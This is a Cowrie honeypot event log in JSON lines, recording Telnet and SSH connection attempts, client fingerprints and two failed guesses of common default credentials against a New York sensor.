{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:12.711700Z","src_ip":"154.198.162.75","session":"9f12166de1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:12.920056Z","src_ip":"154.198.162.75","session":"9f12166de1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35146,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6833c358fe0","protocol":"telnet","message":"New connection: 45.58.127.90:35146 (10.17.0.5:23) [session: c6833c358fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:13.462603Z"}
{"eventid":"cowrie.session.closed","duration":30.15472173690796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:13.535018Z","src_ip":"50.6.18.72","session":"7e7a9488e9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38360,"dst_ip":"159.203.135.109","dst_port":23,"session":"789aab949a41","protocol":"telnet","message":"New connection: 50.6.18.72:38360 (159.203.135.109:23) [session: 789aab949a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:13.625843Z"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp123","message":"login attempt [ftp_user/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:13.786161Z","src_ip":"154.198.162.75","session":"9f12166de1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:14.997742Z","src_ip":"154.198.162.75","session":"9f12166de1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35162,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6d3f8706b67","protocol":"telnet","message":"New connection: 45.58.127.90:35162 (10.17.0.5:23) [session: b6d3f8706b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:16.850749Z"}
{"eventid":"cowrie.session.closed","duration":30.471450805664062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:17.531859Z","src_ip":"50.6.18.72","session":"8bbeb1731867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.46058917045593,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:19.075098Z","src_ip":"45.58.127.90","session":"bf7261cb342a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39398,"dst_ip":"10.17.0.5","dst_port":23,"session":"e51da010e89b","protocol":"telnet","message":"New connection: 45.58.127.90:39398 (10.17.0.5:23) [session: e51da010e89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:19.295691Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39386,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2102bde6907","protocol":"telnet","message":"New connection: 45.58.127.90:39386 (10.17.0.5:23) [session: c2102bde6907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:20.245449Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":43740,"dst_ip":"10.17.0.5","dst_port":23,"session":"056f2907919a","protocol":"telnet","message":"New connection: 40.86.220.217:43740 (10.17.0.5:23) [session: 056f2907919a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:20.324124Z"}
{"eventid":"cowrie.session.closed","duration":42.41920351982117,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:22.465666Z","src_ip":"45.58.127.90","session":"a74b9700ebdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.78121471405029,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:24.479466Z","src_ip":"45.58.127.90","session":"ad5190938d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39404,"dst_ip":"10.17.0.5","dst_port":23,"session":"0983e9213c74","protocol":"telnet","message":"New connection: 45.58.127.90:39404 (10.17.0.5:23) [session: 0983e9213c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:27.149134Z"}
{"eventid":"cowrie.session.closed","duration":30.691269636154175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:28.954362Z","src_ip":"50.6.18.72","session":"324c58e5015e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":43756,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f552b6fa696","protocol":"telnet","message":"New connection: 40.86.220.217:43756 (10.17.0.5:23) [session: 1f552b6fa696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:29.111236Z"}
{"eventid":"cowrie.session.closed","duration":31.33348560333252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:30.420494Z","src_ip":"50.6.18.72","session":"66bbb1f93391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":50150,"dst_ip":"10.17.0.5","dst_port":23,"session":"c912d01e7924","protocol":"telnet","message":"New connection: 40.86.220.217:50150 (10.17.0.5:23) [session: c912d01e7924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:37.668390Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48956,"dst_ip":"159.203.135.109","dst_port":23,"session":"138d55520679","protocol":"telnet","message":"New connection: 147.182.143.59:48956 (159.203.135.109:23) [session: 138d55520679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:41.195914Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54224,"dst_ip":"10.17.0.5","dst_port":23,"session":"941605f90366","protocol":"telnet","message":"New connection: 45.58.127.90:54224 (10.17.0.5:23) [session: 941605f90366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:42.550279Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54232,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0fedffb9747","protocol":"telnet","message":"New connection: 45.58.127.90:54232 (10.17.0.5:23) [session: f0fedffb9747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:43.574580Z"}
{"eventid":"cowrie.session.closed","duration":31.115660190582275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:44.741384Z","src_ip":"50.6.18.72","session":"789aab949a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6678249835968,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:50.130324Z","src_ip":"45.58.127.90","session":"c6833c358fe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27610731124878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:51.600115Z","src_ip":"40.86.220.217","session":"056f2907919a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.615169525146484,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:52.465788Z","src_ip":"45.58.127.90","session":"b6d3f8706b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.400310516357422,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:53.596105Z","src_ip":"147.182.143.59","session":"138d55520679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.78934955596924,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:54.025202Z","src_ip":"45.58.127.90","session":"848b6a6f70d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":51034,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4db894819d","protocol":"telnet","message":"New connection: 40.86.220.217:51034 (10.17.0.5:23) [session: 1d4db894819d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:56.108450Z"}
{"eventid":"cowrie.session.closed","duration":61.77441763877869,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:56.888808Z","src_ip":"147.182.143.59","session":"1c892d7be0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45790,"dst_ip":"159.203.135.109","dst_port":23,"session":"22574d937430","protocol":"telnet","message":"New connection: 147.182.143.59:45790 (159.203.135.109:23) [session: 22574d937430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:56.895116Z"}
{"eventid":"cowrie.session.closed","duration":37.301501750946045,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:57.546818Z","src_ip":"45.58.127.90","session":"c2102bde6907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.56898546218872,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:23:57.864566Z","src_ip":"45.58.127.90","session":"e51da010e89b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.619309186935425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:00.730392Z","src_ip":"40.86.220.217","session":"1f552b6fa696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":34062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc6b5c290eb","protocol":"telnet","message":"New connection: 50.6.18.72:34062 (159.203.135.109:23) [session: 1fc6b5c290eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:06.063769Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":34170,"dst_ip":"10.17.0.5","dst_port":22,"session":"df6db39495b9","protocol":"ssh","message":"New connection: 154.198.162.75:34170 (10.17.0.5:22) [session: df6db39495b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:07.486190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:07.491331Z","src_ip":"154.198.162.75","session":"df6db39495b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:07.699717Z","src_ip":"154.198.162.75","session":"df6db39495b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50634,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20f8ed657e0","protocol":"telnet","message":"New connection: 45.58.127.90:50634 (10.17.0.5:23) [session: c20f8ed657e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:07.738921Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3cf22ba1e3","protocol":"telnet","message":"New connection: 45.58.127.90:50620 (10.17.0.5:23) [session: 4e3cf22ba1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:08.059201Z"}
{"eventid":"cowrie.session.closed","duration":30.53006935119629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:08.198359Z","src_ip":"40.86.220.217","session":"c912d01e7924","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server2020","message":"login attempt [admin/server2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:08.569726Z","src_ip":"154.198.162.75","session":"df6db39495b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45620,"dst_ip":"10.17.0.5","dst_port":23,"session":"beca669ec4b2","protocol":"telnet","message":"New connection: 45.58.127.90:45620 (10.17.0.5:23) [session: beca669ec4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:09.022894Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:09.783903Z","src_ip":"154.198.162.75","session":"df6db39495b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.7721598148345947,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:09.831250Z","src_ip":"45.58.127.90","session":"4e3cf22ba1e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.38868570327759,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:11.537731Z","src_ip":"45.58.127.90","session":"0983e9213c74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36528,"dst_ip":"159.203.135.109","dst_port":23,"session":"115179b9a14f","protocol":"telnet","message":"New connection: 147.182.143.59:36528 (159.203.135.109:23) [session: 115179b9a14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:17.302509Z"}
{"eventid":"cowrie.session.closed","duration":40.15362238883972,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:22.703806Z","src_ip":"45.58.127.90","session":"941605f90366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.16395306587219,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:23.738436Z","src_ip":"45.58.127.90","session":"f0fedffb9747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":37510,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b24523191d","protocol":"telnet","message":"New connection: 40.86.220.217:37510 (10.17.0.5:23) [session: 41b24523191d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:24.407390Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36536,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ffe8bd56ab7","protocol":"telnet","message":"New connection: 147.182.143.59:36536 (159.203.135.109:23) [session: 3ffe8bd56ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:24.559860Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"b170c94f0768","protocol":"telnet","message":"New connection: 45.58.127.90:46546 (10.17.0.5:23) [session: b170c94f0768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:25.557728Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46550,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde03ba0da01","protocol":"telnet","message":"New connection: 45.58.127.90:46550 (10.17.0.5:23) [session: bde03ba0da01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:27.556995Z"}
{"eventid":"cowrie.session.closed","duration":31.75242590904236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:27.860726Z","src_ip":"40.86.220.217","session":"1d4db894819d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58304,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ca821ef542","protocol":"telnet","message":"New connection: 45.58.127.90:58304 (10.17.0.5:23) [session: 09ca821ef542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:29.789335Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58290,"dst_ip":"10.17.0.5","dst_port":23,"session":"e62f3a6d0b46","protocol":"telnet","message":"New connection: 45.58.127.90:58290 (10.17.0.5:23) [session: e62f3a6d0b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:30.579591Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e259917eda5","protocol":"telnet","message":"New connection: 45.58.127.90:58310 (10.17.0.5:23) [session: 8e259917eda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:31.962654Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":53984,"dst_ip":"159.203.135.109","dst_port":23,"session":"753f2a27c90b","protocol":"telnet","message":"New connection: 50.6.18.72:53984 (159.203.135.109:23) [session: 753f2a27c90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:32.500070Z"}
{"eventid":"cowrie.session.closed","duration":16.199531078338623,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:33.501910Z","src_ip":"147.182.143.59","session":"115179b9a14f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.476956367492676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:36.540609Z","src_ip":"50.6.18.72","session":"1fc6b5c290eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.675498008728027,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:38.235194Z","src_ip":"147.182.143.59","session":"3ffe8bd56ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc03fad0fa56","protocol":"telnet","message":"New connection: 147.182.143.59:60288 (159.203.135.109:23) [session: dc03fad0fa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:44.388408Z"}
{"eventid":"cowrie.session.closed","duration":40.47218203544617,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:48.210944Z","src_ip":"45.58.127.90","session":"c20f8ed657e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.08321142196655,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:49.105992Z","src_ip":"45.58.127.90","session":"beca669ec4b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901901483535767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:55.309189Z","src_ip":"40.86.220.217","session":"41b24523191d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.182089567184448,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:56.570371Z","src_ip":"147.182.143.59","session":"dc03fad0fa56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42384,"dst_ip":"10.17.0.5","dst_port":22,"session":"03c0fb72fbe8","protocol":"ssh","message":"New connection: 45.148.10.121:42384 (10.17.0.5:22) [session: 03c0fb72fbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:57.330104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:57.339767Z","src_ip":"45.148.10.121","session":"03c0fb72fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:57.431378Z","src_ip":"45.148.10.121","session":"03c0fb72fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":45152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b60c3b880cd","protocol":"ssh","message":"New connection: 154.198.162.75:45152 (10.17.0.5:22) [session: 1b60c3b880cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:59.278539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:59.283289Z","src_ip":"154.198.162.75","session":"1b60c3b880cd","protocol":"ssh"}
